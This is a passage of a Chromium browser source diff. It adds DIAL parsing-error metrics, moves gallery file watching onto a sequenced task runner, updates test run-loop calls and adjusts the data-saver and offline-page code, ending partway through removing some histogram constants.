diff --git a/chrome/browser/loader/chrome_resource_dispatcher_host_delegate.cc b/chrome/browser/loader/chrome_resource_dispatcher_host_delegate.cc
index 9997839..fbbb0a12 100644
--- a/chrome/browser/loader/chrome_resource_dispatcher_host_delegate.cc
+++ b/chrome/browser/loader/chrome_resource_dispatcher_host_delegate.cc
@@ -48,6 +48,7 @@
 #include "components/data_reduction_proxy/core/browser/data_reduction_proxy_config.h"
 #include "components/data_reduction_proxy/core/browser/data_reduction_proxy_data.h"
 #include "components/data_reduction_proxy/core/browser/data_reduction_proxy_io_data.h"
+#include "components/data_reduction_proxy/core/common/data_reduction_proxy_params.h"
 #include "components/data_reduction_proxy/core/common/data_reduction_proxy_util.h"
 #include "components/google/core/browser/google_util.h"
 #include "components/offline_pages/features/features.h"
@@ -971,10 +972,12 @@
       previews_state |= content::SERVER_LITE_PAGE_ON;
     }
 
-    // Check that data saver is enabled, the user isn't opted out of LoFi for
-    // the session, and the user is eligible for previews.
+    // Check that data saver is enabled and the user is eligible for Lo-Fi
+    // previews. If the user is not transitioned fully to the blacklist, respect
+    // the old prefs rules.
     if (data_reduction_proxy_io_data->IsEnabled() &&
-        !data_reduction_proxy_io_data->config()->lofi_off() &&
+        (!data_reduction_proxy_io_data->config()->lofi_off() ||
+         data_reduction_proxy::params::IsBlackListEnabledForServerPreviews()) &&
         previews::params::IsClientLoFiEnabled() &&
         previews_io_data->ShouldAllowPreviewAtECT(
             url_request, previews::PreviewsType::LOFI,
diff --git a/chrome/browser/local_discovery/service_discovery_client_unittest.cc b/chrome/browser/local_discovery/service_discovery_client_unittest.cc
index 63daa59..8828c74 100644
--- a/chrome/browser/local_discovery/service_discovery_client_unittest.cc
+++ b/chrome/browser/local_discovery/service_discovery_client_unittest.cc
@@ -225,7 +225,7 @@
     callback.Cancel();
   }
 
-  void Stop() { base::MessageLoop::current()->QuitWhenIdle(); }
+  void Stop() { base::RunLoop::QuitCurrentWhenIdleDeprecated(); }
 
   net::MockMDnsSocketFactory socket_factory_;
   net::MDnsClientImpl mdns_client_;
diff --git a/chrome/browser/media/router/discovery/dial/device_description_service.cc b/chrome/browser/media/router/discovery/dial/device_description_service.cc
index ce271a4..95f140b 100644
--- a/chrome/browser/media/router/discovery/dial/device_description_service.cc
+++ b/chrome/browser/media/router/discovery/dial/device_description_service.cc
@@ -12,18 +12,13 @@
 #include "base/strings/string_util.h"
 #include "chrome/browser/media/router/discovery/dial/device_description_fetcher.h"
 #include "chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.h"
+#include "chrome/browser/media/router/media_router_metrics.h"
 #include "net/base/ip_address.h"
 #include "url/gurl.h"
 
-namespace {
+using ErrorType = chrome::mojom::DialParsingError;
 
-enum ErrorType {
-  NONE,
-  MISSING_UNIQUE_ID,
-  MISSING_FRIENDLY_NAME,
-  MISSING_APP_URL,
-  INVALID_APP_URL
-};
+namespace {
 
 // How long to cache a device description.
 constexpr int kDeviceDescriptionCacheTimeHours = 12;
@@ -225,7 +220,8 @@
 void DeviceDescriptionService::OnParsedDeviceDescription(
     const DialDeviceData& device_data,
     const GURL& app_url,
-    chrome::mojom::DialDeviceDescriptionPtr parsed_device_description) {
+    chrome::mojom::DialDeviceDescriptionPtr parsed_device_description,
+    chrome::mojom::DialParsingError parsing_error) {
   DCHECK(thread_checker_.CalledOnValidThread());
 
   // Last callback for current utility process. Release |parser_| and
@@ -237,6 +233,7 @@
   }
 
   if (!parsed_device_description) {
+    MediaRouterMetrics::RecordDialParsingError(parsing_error);
     error_cb_.Run(device_data, "Failed to parse device description XML");
     return;
   }
@@ -247,11 +244,14 @@
   description_data.model_name = parsed_device_description->model_name;
   description_data.app_url = app_url;
 
-  auto error = ValidateParsedDeviceDescription(
+  ErrorType error = ValidateParsedDeviceDescription(
       device_data.device_description_url().host(), description_data);
 
   if (error != ErrorType::NONE) {
-    DLOG(WARNING) << "Device description failed to validate: " << error;
+    DLOG(WARNING) << "Device description failed to validate. "
+                     "MediaRouterDialParsingError code: "
+                  << error;
+    MediaRouterMetrics::RecordDialParsingError(error);
     error_cb_.Run(device_data, "Failed to process fetch result");
     return;
   }
diff --git a/chrome/browser/media/router/discovery/dial/device_description_service.h b/chrome/browser/media/router/discovery/dial/device_description_service.h
index 6398d9b..f213a15 100644
--- a/chrome/browser/media/router/discovery/dial/device_description_service.h
+++ b/chrome/browser/media/router/discovery/dial/device_description_service.h
@@ -122,10 +122,12 @@
   // |app_url|: The app Url.
   // |device_description_ptr|: Parsed device description from utility process,
   // or nullptr if parsing failed.
+  // |parsing_error|: error encountered while parsing DIAL device description.
   void OnParsedDeviceDescription(
       const DialDeviceData& device_data,
       const GURL& app_url,
-      chrome::mojom::DialDeviceDescriptionPtr device_description_ptr);
+      chrome::mojom::DialDeviceDescriptionPtr device_description_ptr,
+      chrome::mojom::DialParsingError parsing_error);
 
   // Remove expired cache entries from |description_map_|.
   void CleanUpCacheEntries();
diff --git a/chrome/browser/media/router/discovery/dial/device_description_service_unittest.cc b/chrome/browser/media/router/discovery/dial/device_description_service_unittest.cc
index cebbd6b..4ceb0822 100644
--- a/chrome/browser/media/router/discovery/dial/device_description_service_unittest.cc
+++ b/chrome/browser/media/router/discovery/dial/device_description_service_unittest.cc
@@ -124,7 +124,8 @@
         device_data, description_response_data);
     device_description_service_.OnParsedDeviceDescription(
         device_data, description_response_data.app_url,
-        CreateDialDeviceDescriptionPtr(num));
+        CreateDialDeviceDescriptionPtr(num),
+        chrome::mojom::DialParsingError::NONE);
   }
 
   void TestOnParsedDeviceDescription(
@@ -140,7 +141,8 @@
       EXPECT_CALL(mock_success_cb_, Run(device_data, description_data));
     }
     device_description_service()->OnParsedDeviceDescription(
-        device_data, app_url, std::move(description_ptr));
+        device_data, app_url, std::move(description_ptr),
+        chrome::mojom::DialParsingError::NONE);
   }
 
  protected:
diff --git a/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.cc b/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.cc
index bb2cccc..2f89ac9 100644
--- a/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.cc
+++ b/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.cc
@@ -33,7 +33,8 @@
                 IDS_UTILITY_PROCESS_DIAL_DEVICE_DESCRIPTION_PARSER_NAME));
 
     utility_process_mojo_client_->set_error_callback(
-        base::Bind(callback, nullptr));
+        base::Bind(callback, nullptr,
+                   chrome::mojom::DialParsingError::UTILITY_PROCESS_ERROR));
 
     // This starts utility process in the background.
     utility_process_mojo_client_->Start();
diff --git a/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.h b/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.h
index 0065288..7925d5a 100644
--- a/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.h
+++ b/chrome/browser/media/router/discovery/dial/safe_dial_device_description_parser.h
@@ -24,10 +24,11 @@
  public:
   // Callback function to be invoked when utility process finishes parsing
   // device description XML.
-  // |success|: returns false if parsing fails.
   // |device_description|: device description object. Empty if parsing fails.
-  using DeviceDescriptionCallback =
-      base::Callback<void(chrome::mojom::DialDeviceDescriptionPtr)>;
+  // |parsing_error|: error encountered while parsing DIAL device description.
+  using DeviceDescriptionCallback = base::Callback<void(
+      chrome::mojom::DialDeviceDescriptionPtr device_description,
+      chrome::mojom::DialParsingError parsing_error)>;
 
   SafeDialDeviceDescriptionParser();
   virtual ~SafeDialDeviceDescriptionParser();
diff --git a/chrome/browser/media/router/media_router_metrics.cc b/chrome/browser/media/router/media_router_metrics.cc
index 7da3ae6..dba8603 100644
--- a/chrome/browser/media/router/media_router_metrics.cc
+++ b/chrome/browser/media/router/media_router_metrics.cc
@@ -23,6 +23,8 @@
     "MediaRouter.Dial.AvailableDevicesCount";
 const char MediaRouterMetrics::kHistogramDialKnownDeviceCount[] =
     "MediaRouter.Dial.KnownDevicesCount";
+const char MediaRouterMetrics::kHistogramDialParsingError[] =
+    "MediaRouter.Dial.ParsingError";
 const char MediaRouterMetrics::kHistogramIconClickLocation[] =
     "MediaRouter.Icon.Click.Location";
 const char MediaRouterMetrics::kHistogramMediaRouterCastingSource[] =
@@ -97,6 +99,16 @@
   UMA_HISTOGRAM_MEMORY_LARGE_MB(kHistogramMediaRouterFileSize, size);
 }
 
+// static
+void MediaRouterMetrics::RecordDialParsingError(
+    chrome::mojom::DialParsingError parsing_error) {
+  DCHECK_LT(static_cast<int>(parsing_error),
+            static_cast<int>(chrome::mojom::DialParsingError::TOTAL_COUNT));
+  UMA_HISTOGRAM_ENUMERATION(
+      kHistogramDialParsingError, parsing_error,
+      static_cast<int>(chrome::mojom::DialParsingError::TOTAL_COUNT));
+}
+
 void MediaRouterMetrics::RecordDialDeviceCounts(size_t available_device_count,
                                                 size_t known_device_count) {
   if (clock_->Now() - device_count_metrics_record_time_ <
diff --git a/chrome/browser/media/router/media_router_metrics.h b/chrome/browser/media/router/media_router_metrics.h
index f94ff203..b28031d 100644
--- a/chrome/browser/media/router/media_router_metrics.h
+++ b/chrome/browser/media/router/media_router_metrics.h
@@ -11,6 +11,7 @@
 #include "base/time/clock.h"
 #include "base/time/time.h"
 #include "chrome/browser/ui/webui/media_router/media_cast_mode.h"
+#include "chrome/common/media_router/mojo/dial_device_description_parser.mojom.h"
 #include "media/base/container_names.h"
 
 namespace media_router {
@@ -65,6 +66,7 @@
   // UMA histogram names.
   static const char kHistogramDialAvailableDeviceCount[];
   static const char kHistogramDialKnownDeviceCount[];
+  static const char kHistogramDialParsingError[];
   static const char kHistogramIconClickLocation[];
   static const char kHistogramMediaRouterCastingSource[];
   static const char kHistogramMediaRouterFileFormat[];
@@ -107,6 +109,10 @@
   // Records the size of a cast file.
   static void RecordMediaRouterFileSize(int64_t size);
 
+  // Records why DIAL device description resolution failed.
+  static void RecordDialParsingError(
+      chrome::mojom::DialParsingError parsing_error);
+
   // Records device counts.
   // TODO(zhaobin): Move device count specific metrics and state into its own
   // class eventually.
diff --git a/chrome/browser/media/router/media_router_metrics_unittest.cc b/chrome/browser/media/router/media_router_metrics_unittest.cc
index c8de26e..bdbe8e23 100644
--- a/chrome/browser/media/router/media_router_metrics_unittest.cc
+++ b/chrome/browser/media/router/media_router_metrics_unittest.cc
@@ -117,6 +117,28 @@
                           Bucket(static_cast<int>(source3), 1)));
 }
 
+TEST(MediaRouterMetricsTest, RecordDialDeviceDescriptionParsingError) {
+  base::HistogramTester tester;
+  const chrome::mojom::DialParsingError action1 =
+      chrome::mojom::DialParsingError::MISSING_UNIQUE_ID;
+  const chrome::mojom::DialParsingError action2 =
+      chrome::mojom::DialParsingError::MISSING_FRIENDLY_NAME;
+  const chrome::mojom::DialParsingError action3 =
+      chrome::mojom::DialParsingError::MISSING_APP_URL;
+
+  tester.ExpectTotalCount(MediaRouterMetrics::kHistogramDialParsingError, 0);
+  MediaRouterMetrics::RecordDialParsingError(action3);
+  MediaRouterMetrics::RecordDialParsingError(action2);
+  MediaRouterMetrics::RecordDialParsingError(action3);
+  MediaRouterMetrics::RecordDialParsingError(action1);
+  tester.ExpectTotalCount(MediaRouterMetrics::kHistogramDialParsingError, 4);
+  EXPECT_THAT(
+      tester.GetAllSamples(MediaRouterMetrics::kHistogramDialParsingError),
+      ElementsAre(Bucket(static_cast<int>(action1), 1),
+                  Bucket(static_cast<int>(action2), 1),
+                  Bucket(static_cast<int>(action3), 2)));
+}
+
 TEST(MediaRouterMetricsTest, RecordDialDeviceCounts) {
   MediaRouterMetrics metrics;
   base::SimpleTestClock* clock = new base::SimpleTestClock();
diff --git a/chrome/browser/media_galleries/gallery_watch_manager.cc b/chrome/browser/media_galleries/gallery_watch_manager.cc
index 73907f6..31204f5 100644
--- a/chrome/browser/media_galleries/gallery_watch_manager.cc
+++ b/chrome/browser/media_galleries/gallery_watch_manager.cc
@@ -11,7 +11,11 @@
 #include "base/bind.h"
 #include "base/logging.h"
 #include "base/macros.h"
+#include "base/sequence_checker.h"
 #include "base/stl_util.h"
+#include "base/task_scheduler/post_task.h"
+#include "base/task_scheduler/task_traits.h"
+#include "base/threading/thread_restrictions.h"
 #include "base/time/time.h"
 #include "chrome/browser/browser_process.h"
 #include "chrome/browser/media_galleries/gallery_watch_manager_observer.h"
@@ -60,11 +64,11 @@
 const char GalleryWatchManager::kCouldNotWatchGalleryError[] =
     "Could not watch gallery path.";
 
-// Manages a collection of file path watchers on the FILE thread and relays
-// the change events to |callback| on the UI thread. This file is constructed
-// on the UI thread, but operates and is destroyed on the FILE thread.
-// If |callback| is called with an error, all watches on that path have been
-// dropped.
+// Manages a collection of file path watchers on a sequenced task runner and
+// relays the change events to |callback| on the UI thread. This file is
+// constructed on the UI thread, but operates and is destroyed on a sequenced
+// task runner. If |callback| is called with an error, all watches on that path
+// have been dropped.
 class GalleryWatchManager::FileWatchManager {
  public:
   explicit FileWatchManager(const base::FilePathWatcher::Callback& callback);
@@ -88,6 +92,8 @@
 
   base::FilePathWatcher::Callback callback_;
 
+  SEQUENCE_CHECKER(sequence_checker_);
+
   base::WeakPtrFactory<FileWatchManager> weak_factory_;
 
   DISALLOW_COPY_AND_ASSIGN(FileWatchManager);
@@ -97,16 +103,20 @@
     const base::FilePathWatcher::Callback& callback)
     : callback_(callback), weak_factory_(this) {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
+
+  // Bind to the sequenced task runner, not the UI thread.
+  DETACH_FROM_SEQUENCE(sequence_checker_);
 }
 
 GalleryWatchManager::FileWatchManager::~FileWatchManager() {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
 }
 
 void GalleryWatchManager::FileWatchManager::AddFileWatch(
     const base::FilePath& path,
     const base::Callback<void(bool)>& callback) {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+  base::ThreadRestrictions::AssertIOAllowed();
 
   // This can occur if the GalleryWatchManager attempts to watch the same path
   // again before recieving the callback. It's benign.
@@ -131,7 +141,9 @@
 
 void GalleryWatchManager::FileWatchManager::RemoveFileWatch(
     const base::FilePath& path) {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+  base::ThreadRestrictions::AssertIOAllowed();
+
   size_t erased = watchers_.erase(path);
   DCHECK_EQ(erased, 1u);
 }
@@ -144,7 +156,9 @@
 void GalleryWatchManager::FileWatchManager::OnFilePathChanged(
     const base::FilePath& path,
     bool error) {
-  DCHECK_CURRENTLY_ON(BrowserThread::FILE);
+  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
+  base::ThreadRestrictions::AssertIOAllowed();
+
   if (error)
     RemoveFileWatch(path);
   BrowserThread::PostTask(BrowserThread::UI, FROM_HERE,
@@ -175,7 +189,10 @@
 }
 
 GalleryWatchManager::GalleryWatchManager()
-    : storage_monitor_observed_(false), weak_factory_(this) {
+    : storage_monitor_observed_(false),
+      watch_manager_task_runner_(base::CreateSequencedTaskRunnerWithTraits(
+          {base::MayBlock(), base::TaskPriority::BACKGROUND})),
+      weak_factory_(this) {
   DCHECK_CURRENTLY_ON(BrowserThread::UI);
   watch_manager_.reset(new FileWatchManager(base::Bind(
       &GalleryWatchManager::OnFilePathChanged, weak_factory_.GetWeakPtr())));
@@ -189,8 +206,7 @@
     storage_monitor::StorageMonitor::GetInstance()->RemoveObserver(this);
   }
 
-  BrowserThread::DeleteSoon(
-      BrowserThread::FILE, FROM_HERE, watch_manager_.release());
+  watch_manager_task_runner_->DeleteSoon(FROM_HERE, watch_manager_.release());
 }
 
 void GalleryWatchManager::AddObserver(BrowserContext* browser_context,
@@ -290,8 +306,8 @@
                    owner,
                    path,
                    callback);
-    BrowserThread::PostTask(
-        BrowserThread::FILE, FROM_HERE,
+    watch_manager_task_runner_->PostTask(
+        FROM_HERE,
         base::BindOnce(&FileWatchManager::AddFileWatch,
                        watch_manager_->GetWeakPtr(), path, on_watch_added));
   }
@@ -367,9 +383,9 @@
   it->second.owners.erase(owner);
   if (it->second.owners.empty()) {
     watched_paths_.erase(it);
-    BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,
-                            base::BindOnce(&FileWatchManager::RemoveFileWatch,
-                                           watch_manager_->GetWeakPtr(), path));
+    watch_manager_task_runner_->PostTask(
+        FROM_HERE, base::BindOnce(&FileWatchManager::RemoveFileWatch,
+                                  watch_manager_->GetWeakPtr(), path));
   }
 }
 
diff --git a/chrome/browser/media_galleries/gallery_watch_manager.h b/chrome/browser/media_galleries/gallery_watch_manager.h
index 4392c508..01c8fe5f 100644
--- a/chrome/browser/media_galleries/gallery_watch_manager.h
+++ b/chrome/browser/media_galleries/gallery_watch_manager.h
@@ -13,6 +13,7 @@
 #include "base/files/file_path.h"
 #include "base/files/file_path_watcher.h"
 #include "base/macros.h"
+#include "base/memory/ref_counted.h"
 #include "base/memory/weak_ptr.h"
 #include "base/time/time.h"
 #include "chrome/browser/media_galleries/media_galleries_preferences.h"
@@ -21,6 +22,10 @@
 
 class GalleryWatchManagerObserver;
 
+namespace base {
+class SequencedTaskRunner;
+}
+
 namespace content {
 class BrowserContext;
 }
@@ -157,9 +162,12 @@
   // Things that want to hear about gallery changes.
   ObserverMap observers_;
 
-  // Helper that does the watches on the FILE thread.
+  // Helper that does the watches on a sequenced task runner.
   std::unique_ptr<FileWatchManager> watch_manager_;
 
+  // The background task runner that |watch_manager_| lives on.
+  scoped_refptr<base::SequencedTaskRunner> watch_manager_task_runner_;
+
   // Removes watches when a browser context is shut down as watches contain raw
   // pointers.
   BrowserContextSubscriptionMap browser_context_subscription_map_;
diff --git a/chrome/browser/media_galleries/media_file_system_registry_unittest.cc b/chrome/browser/media_galleries/media_file_system_registry_unittest.cc
index d794895..ee3b90e 100644
--- a/chrome/browser/media_galleries/media_file_system_registry_unittest.cc
+++ b/chrome/browser/media_galleries/media_file_system_registry_unittest.cc
@@ -213,8 +213,8 @@
 
 class ProfileState {
  public:
-  explicit ProfileState(
-      MockProfileSharedRenderProcessHostFactory* rph_factory);
+  ProfileState(MockProfileSharedRenderProcessHostFactory* rph_factory,
+               base::test::ScopedTaskEnvironment* scoped_task_environment);
   ~ProfileState();
 
   MediaGalleriesPreferences* GetMediaGalleriesPrefs();
@@ -243,6 +243,8 @@
 
   int GetAndClearComparisonCount();
 
+  base::test::ScopedTaskEnvironment* scoped_task_environment_;
+
   int num_comparisons_;
 
   std::unique_ptr<TestingProfile> profile_;
@@ -430,8 +432,10 @@
 //////////////////
 
 ProfileState::ProfileState(
-    MockProfileSharedRenderProcessHostFactory* rph_factory)
-    : num_comparisons_(0),
+    MockProfileSharedRenderProcessHostFactory* rph_factory,
+    base::test::ScopedTaskEnvironment* scoped_task_environment)
+    : scoped_task_environment_(scoped_task_environment),
+      num_comparisons_(0),
       profile_(new TestingProfile()) {
   extensions::TestExtensionSystem* extension_system(
       static_cast<extensions::TestExtensionSystem*>(
@@ -472,7 +476,7 @@
   shared_web_contents2_.reset();
   profile_.reset();
 
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_->RunUntilIdle();
 }
 
 MediaGalleriesPreferences* ProfileState::GetMediaGalleriesPrefs() {
@@ -500,7 +504,7 @@
                  base::StringPrintf("%s (no permission)", test.c_str()),
                  base::ConstRef(empty_names),
                  base::ConstRef(empty_expectation)));
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_->RunUntilIdle();
   EXPECT_EQ(1, GetAndClearComparisonCount());
 
   // Read permission only.
@@ -510,7 +514,7 @@
                  base::StringPrintf("%s (regular permission)", test.c_str()),
                  base::ConstRef(compare_names_read_),
                  base::ConstRef(regular_extension_galleries)));
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_->RunUntilIdle();
   EXPECT_EQ(1, GetAndClearComparisonCount());
 
   // All galleries permission.
@@ -520,7 +524,7 @@
                  base::StringPrintf("%s (all permission)", test.c_str()),
                  base::ConstRef(compare_names_all_),
                  base::ConstRef(all_extension_galleries)));
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_->RunUntilIdle();
   EXPECT_EQ(1, GetAndClearComparisonCount());
 }
 
@@ -531,7 +535,7 @@
   registry->GetMediaFileSystemsForExtension(
       single_web_contents_.get(), extension,
       base::Bind(&GetGalleryInfoCallback, base::Unretained(&results)));
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_->RunUntilIdle();
   return results;
 }
 
@@ -606,7 +610,8 @@
 
 void MediaFileSystemRegistryTest::CreateProfileState(size_t profile_count) {
   for (size_t i = 0; i < profile_count; ++i) {
-    profile_states_.push_back(base::MakeUnique<ProfileState>(&rph_factory_));
+    profile_states_.push_back(base::MakeUnique<ProfileState>(
+        &rph_factory_, scoped_task_environment()));
   }
 }
 
@@ -647,14 +652,14 @@
   DCHECK(StorageInfo::IsRemovableDevice(device_id));
   base::string16 label = location.BaseName().LossyDisplayName();
   ProcessAttach(device_id, label, location.value());
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment()->RunUntilIdle();
   return device_id;
 }
 
 void MediaFileSystemRegistryTest::DetachDevice(const std::string& device_id) {
   DCHECK(StorageInfo::IsRemovableDevice(device_id));
   ProcessDetach(device_id);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment()->RunUntilIdle();
 }
 
 void MediaFileSystemRegistryTest::SetGalleryPermission(
@@ -897,7 +902,7 @@
       break;
     }
   }
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment()->RunUntilIdle();
   EXPECT_TRUE(forget_gallery);
   EXPECT_EQ(gallery_count, GetAutoAddedGalleries(profile_state).size());
 
diff --git a/chrome/browser/media_galleries/win/mtp_device_delegate_impl_win_unittest.cc b/chrome/browser/media_galleries/win/mtp_device_delegate_impl_win_unittest.cc
index f9844e2..049e621 100644
--- a/chrome/browser/media_galleries/win/mtp_device_delegate_impl_win_unittest.cc
+++ b/chrome/browser/media_galleries/win/mtp_device_delegate_impl_win_unittest.cc
@@ -170,7 +170,7 @@
   registry->GetMediaFileSystemsForExtension(
       web_contents(), extension_.get(),
       base::Bind(&GetGalleryInfoCallback, base::Unretained(&results)));
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment()->RunUntilIdle();
 
   ASSERT_EQ(media_directories_.num_galleries() + 1u, results.size());
   bool checked = false;
diff --git a/chrome/browser/metrics/chromeos_metrics_provider_unittest.cc b/chrome/browser/metrics/chromeos_metrics_provider_unittest.cc
index 1e8357ac..d5e57cd 100644
--- a/chrome/browser/metrics/chromeos_metrics_provider_unittest.cc
+++ b/chrome/browser/metrics/chromeos_metrics_provider_unittest.cc
@@ -7,7 +7,6 @@
 #include <string>
 
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "chrome/browser/chromeos/login/users/fake_chrome_user_manager.h"
 #include "chrome/browser/chromeos/login/users/scoped_user_manager_enabler.h"
@@ -133,7 +132,7 @@
   }
   void GetBluetoothAdapterCallback() {
     ASSERT_TRUE(base::RunLoop::IsRunningOnCurrentThread());
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 
diff --git a/chrome/browser/metrics/metrics_memory_details_browsertest.cc b/chrome/browser/metrics/metrics_memory_details_browsertest.cc
index eda91f95..7602778 100644
--- a/chrome/browser/metrics/metrics_memory_details_browsertest.cc
+++ b/chrome/browser/metrics/metrics_memory_details_browsertest.cc
@@ -7,6 +7,7 @@
 #include "base/bind_helpers.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/test/histogram_tester.h"
 #include "chrome/test/base/in_process_browser_test.h"
 #include "content/public/test/test_utils.h"
@@ -29,7 +30,7 @@
   void OnDetailsAvailable() override {
     MetricsMemoryDetails::OnDetailsAvailable();
     // Exit the loop initiated by StartFetchAndWait().
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   DISALLOW_COPY_AND_ASSIGN(TestMemoryDetails);
diff --git a/chrome/browser/metrics/subprocess_metrics_provider.cc b/chrome/browser/metrics/subprocess_metrics_provider.cc
index bb5ecca..54c2e05 100644
--- a/chrome/browser/metrics/subprocess_metrics_provider.cc
+++ b/chrome/browser/metrics/subprocess_metrics_provider.cc
@@ -88,6 +88,9 @@
     base::PersistentHistogramAllocator* allocator) {
   DCHECK(allocator);
 
+  // TODO(asvitkine): Remove this after crbug/736675.
+  base::StatisticsRecorder::ValidateAllHistograms();
+
   int histogram_count = 0;
   base::PersistentHistogramAllocator::Iterator hist_iter(allocator);
   while (true) {
@@ -98,6 +101,9 @@
     ++histogram_count;
   }
 
+  // TODO(asvitkine): Remove this after crbug/736675.
+  base::StatisticsRecorder::ValidateAllHistograms();
+
   DVLOG(1) << "Reported " << histogram_count << " histograms from subprocess #"
            << id;
 }
diff --git a/chrome/browser/net/dns_probe_browsertest.cc b/chrome/browser/net/dns_probe_browsertest.cc
index 615102b..def00cbb 100644
--- a/chrome/browser/net/dns_probe_browsertest.cc
+++ b/chrome/browser/net/dns_probe_browsertest.cc
@@ -44,7 +44,6 @@
 using base::Closure;
 using base::ConstRef;
 using base::FilePath;
-using base::MessageLoop;
 using base::Unretained;
 using content::BrowserThread;
 using content::WebContents;
@@ -656,7 +655,7 @@
     DnsProbeStatus dns_probe_status) {
   dns_probe_status_queue_.push_back(dns_probe_status);
   if (awaiting_dns_probe_status_)
-    MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // Make sure probes don't break non-DNS error pages when corrections load.
diff --git a/chrome/browser/net/sdch_browsertest.cc b/chrome/browser/net/sdch_browsertest.cc
index d958321..0600802 100644
--- a/chrome/browser/net/sdch_browsertest.cc
+++ b/chrome/browser/net/sdch_browsertest.cc
@@ -669,7 +669,7 @@
   void OnURLFetchComplete(const net::URLFetcher* source) override {
     url_fetch_complete_ = true;
     if (waiting_)
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool sdch_enabled_ = false;
diff --git a/chrome/browser/offline_pages/background_loader_offliner.cc b/chrome/browser/offline_pages/background_loader_offliner.cc
index bfeb2c4..2c11a3ea 100644
--- a/chrome/browser/offline_pages/background_loader_offliner.cc
+++ b/chrome/browser/offline_pages/background_loader_offliner.cc
@@ -209,7 +209,7 @@
   loader_.get()->LoadPage(request.url());
 
   snapshot_controller_ = SnapshotController::CreateForBackgroundOfflining(
-      base::ThreadTaskRunnerHandle::Get(), this);
+      base::ThreadTaskRunnerHandle::Get(), this, false);
 
   return true;
 }
diff --git a/chrome/browser/offline_pages/background_loader_offliner_unittest.cc b/chrome/browser/offline_pages/background_loader_offliner_unittest.cc
index f0aa642..a55946f 100644
--- a/chrome/browser/offline_pages/background_loader_offliner_unittest.cc
+++ b/chrome/browser/offline_pages/background_loader_offliner_unittest.cc
@@ -204,7 +204,9 @@
                                offliner_.get(),
                                0L /* DelayAfterDocumentAvailable */,
                                0L /* DelayAfterDocumentOnLoad */,
-                               false /* DocumentAvailableTriggersSnapshot */));
+                               0L /* DelayAfterRenovationsCompleted */,
+                               false /* DocumentAvailableTriggersSnapshot */,
+                               false /* RenovationsEnabled */));
     offliner_->SetSnapshotControllerForTest(std::move(snapshot_controller));
     // Call complete loading.
     offliner()->DocumentOnLoadCompletedInMainFrame();
diff --git a/chrome/browser/offline_pages/prerendering_loader.cc b/chrome/browser/offline_pages/prerendering_loader.cc
index 331d16e..524d106 100644
--- a/chrome/browser/offline_pages/prerendering_loader.cc
+++ b/chrome/browser/offline_pages/prerendering_loader.cc
@@ -117,7 +117,7 @@
 
   DCHECK(adapter_->IsActive());
   snapshot_controller_ = SnapshotController::CreateForBackgroundOfflining(
-      base::ThreadTaskRunnerHandle::Get(), this);
+      base::ThreadTaskRunnerHandle::Get(), this, false);
   load_done_callback_ = load_done_callback;
   progress_callback_ = progress_callback;
   session_contents_.swap(new_web_contents);
diff --git a/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.cc b/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.cc
index 17fd6a04..d5178d602 100644
--- a/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.cc
+++ b/chrome/browser/page_load_metrics/observers/document_write_page_load_metrics_observer.cc
@@ -9,38 +9,6 @@
 #include "third_party/WebKit/public/platform/WebLoadingBehaviorFlag.h"
 
 namespace internal {
-const char kHistogramDocWriteFirstContentfulPaint[] =
-    "PageLoad.Clients.DocWrite.Evaluator.PaintTiming."
-    "NavigationToFirstContentfulPaint";
-const char kHistogramDocWriteParseStartToFirstContentfulPaint[] =
-    "PageLoad.Clients.DocWrite.Evaluator.PaintTiming."
-    "ParseStartToFirstContentfulPaint";
-const char kHistogramDocWriteParseDuration[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseDuration";
-const char kHistogramDocWriteParseBlockedOnScriptLoad[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseBlockedOnScriptLoad";
-const char kHistogramDocWriteParseBlockedOnScriptLoadDocumentWrite[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming."
-    "ParseBlockedOnScriptLoadFromDocumentWrite";
-const char kHistogramDocWriteParseBlockedOnScriptExecution[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming."
-    "ParseBlockedOnScriptExecution";
-const char kHistogramDocWriteParseBlockedOnScriptExecutionDocumentWrite[] =
-    "PageLoad.Clients.DocWrite.Evaluator.ParseTiming."
